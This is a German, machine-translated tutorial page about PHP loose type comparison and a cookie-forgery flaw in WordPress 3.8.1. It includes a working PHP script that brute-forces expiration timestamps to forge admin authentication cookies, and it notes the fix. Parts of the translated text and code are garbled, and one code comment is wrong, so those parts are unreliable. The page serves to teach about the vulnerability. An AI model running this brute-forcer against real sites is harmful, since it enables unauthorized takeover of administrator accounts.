Heim > Backend-Entwicklung > PHP-Tutorial > Schwache PHP-Typisierung: WordPress-Cookie-Fälschung

Schwache PHP-Typisierung: WordPress-Cookie-Fälschung

WBOY
Freigeben: 2016-08-10 08:48:40
Original
1026 Leute haben es durchsucht

1 PHP schwach typisiert

PHP ist eine schwach typisierte Sprache, sodass Variablen aufgrund unterschiedlicher Verwendungsszenarien automatisch einer Typkonvertierung unterzogen werden . Verwenden Sie == und in PHP! = Bei der Gleichheitsbeurteilung wird die Typkonvertierung automatisch durchgeführt, wobei === und verwendet werden! == Der Typ wird bei der Beurteilung nicht automatisch konvertiert.

<span>1</span> <?<span>php
</span><span>2</span><span>$a</span> = 3<span>;
</span><span>3</span><span>$b</span> = '3vic'<span>;
</span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>
Nach dem Login kopieren

Hinweis: Wenn eine Zeichenfolge in PHP in eine Ganzzahl konvertiert wird und diese mit einer Zahl beginnt, wird sie in die vorherige Zahl umgewandelt ('3vic' -> 3 ). Wenn es nicht mit einer Zahl beginnt, wird es in 0 umgewandelt ('vic' -> 0)

2 WordPress-Code

  • WordPress 3.8.1 und WordPress 3.8.2 Einige Codeunterschiede

<span>1</span> <?<span>php
</span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>
Nach dem Login kopieren
  • Cookie besteht aus

Der Client-Hintergrund überprüft nur eines der Cookies, wie unten gezeigt

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly
Nach dem Login kopieren

Der Cookie-Name lautet wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 hat das Format wordpress_ md5(siteurl), wobei siteurl ist die URL von WordPress, und die Website-Adresse hier ist <code><span>http://www.test.ichunqiu</span>,http://www.test.ichunqiu<span>c47f4a97d0321c1980bb76fc00d1e78f</span>,Nach der MD5-Verschlüsselung lautet

c47f4a97d0321c1980bb76fc00d1e78f

, andere Teile können weggelassen werden.

对应变量 $username $expiration <span>$hmac</span>
cookies admin 1433403595 cf50f3b50eed94dd0fdc3d3ea2c7bbb
Geben Sie die Ablaufzeit des Benutzernamens ein. Der Hash-Wert, der dem Client vom Server nach erfolgreicher Anmeldung zugewiesen wird
  • Entsprechende Variable
  • td>
    $username

    $expiration $hmac

    <span>1</span> <?<span>php
    </span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
    </span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
    </span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
    </span><span>5</span>     do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
    </span><span>6</span><span>return</span><span>false</span><span>;
    </span><span>7</span> }
    Nach dem Login kopieren
    Cookies

    admin

    1433403595 cf50f3b50eed94dd0fdc3d3ea2c7bbb
    $expirationAnalyse-Verifizierungs-Login<span>$expiration </span>$hash Codewp- include/pluggable.php

    Zeilen 543-549
    • Zu den im Code verwendeten Variablen gehört
    $username

    Benutzername, $expiration$hmac == $hash Gültigkeitszeitraum, und da der Benutzername fest ist, ist nur $hmac steuerbar, sodass wir von </span> $ ändern können Ablauf <code><span>$hash</span> Methode zum Ändern $hmac . if ( $hmac != $hash ) { Kombiniert mit PHP Hash <span>var_dump($hmac);die()</span>;VergleichsfehlerWordPress analysieren$hmac Es gibt mehrere Möglichkeiten, string '0' wahre Zeichen zu erstellen Die Zeichenfolgen sind völlig gleich oder int 0

    ist gleich 0 und <p>$hash<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">&lt;span&gt;1&lt;/span&gt; &lt;?&lt;span&gt;php &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;var_dump&lt;/span&gt;('0' == '0e156464513131');&lt;span&gt;//&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;</pre><div class="contentsignin">Nach dem Login kopieren</div></div> ist eine Zeichenfolge, die mit einem Zeichen beginnt; gesetzt

    <🎜 in Das Cookie des Clients >

    Ändern Sie den Wert auf 0 und schreiben Sie dann <span>var_dump($hmac);die()<code>0e156464513131 ; in die Zeile darüber $hash , um den Ausdruck zu finden. Das Ergebnis von <span>$hmac</span> ist wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 anstelle von $hash

    . Gibt es also eine Möglichkeit, die Zeichenfolge zu erkennen? als ganze Zahl? Der Code lautet wie folgt:

    Das wird als 0 mal 10 hoch 156464513131 erkannt, was ist immer noch 0; wenn also

    Wenn es mit 0e beginnt und von Zahlen gefolgt wird, ist es gleich dem Wert von

    <span> 1</span> <?<span>php
    </span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
    </span><span> 5</span><span>传入两个值
    </span><span> 6</span><span>  WordPress 的主页 $host
    </span><span> 7</span><span>  管理员用户名     $root
    </span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
    </span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
    </span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
    </span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
    </span><span>20</span><span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span><span>21</span><span>$header</span> = <span>array</span><span>(
    </span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
    <span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
    <span>24</span>       "Cookie:".<span>$cookie</span>,
    <span>25</span><span>      );
    </span><span>26</span><span>27</span><span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span><span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span><span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span><span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span><span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span><span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span><span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span><span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
    </span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
    </span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span><span>37</span><span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span><span>38</span><span>if</span> (curl_errno(<span>$curl</span><span>)) {    
    </span><span>39</span><span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
    </span><span>40</span><span>        }    
    </span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
    </span><span>42</span><span>43</span><span>        //匹配结果</span><span>44</span><span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
    </span><span>45</span><span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
    </span><span>46</span><span>break</span><span>;
    </span><span>47</span>         }<span>else</span><span>{
    </span><span>48</span><span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
    </span><span>49</span><span>        }
    </span><span>50</span><span>51</span><span>    }
    </span><span>52</span> ?>    
    Nach dem Login kopieren
    $hmac ist '0', also können wir das Cookie des Clients auf etwa diesen Wert setzen

    und dann die Ablaufzeit (derzeit die Position 1433403595) kontinuierlich aktualisieren, um mit dem Server zu kollidieren Sobald der Wert beginnt mit 0e und wird von Zahlen gefolgt, es kann überprüft werden. Unter der Annahme, dass die Kollision erfolgreich ist, ändern Sie das Cookie des Browsers und greifen Sie direkt auf die Backend-Adresse zu, um sich erfolgreich beim Backend anzumelden. 3 Testskript Durch Ändern des Ablaufzeitwerts im Client-Cookie versuchen Sie ständig, sich im Hintergrund anzumelden und herauszufinden Zeit, in der Sie den Hintergrundstempel eingeben können, um ein Cookie-Fälschungs-Login-Backend zu erreichen.

    Erklärung

    :

    Theoretisch beginnt der 32-Bit-MD5-Wert mit 0e Der anfängliche Wert liegt bei etwa eins zu 300 Millionen, und die Wahrscheinlichkeit, einen ausnutzbaren $-Ablauf zu erreichen, ist äußerst gering.

    5 Korrekturen


    In PHP verwendete Hash-Vergleichsfunktion, wobei

    ==

    ,

    ! =

    geändert in

    === bzw. ! == Oder verschlüsseln Sie die beiden verglichenen Variablen erneut mit MD5. Studiennotizen: http://ichunqiu.com/course/167 Das Obige stellt den schwachen PHP-Typ vor: WordPress-Cookie-Fälschung, einschließlich des Inhalts. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.
Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage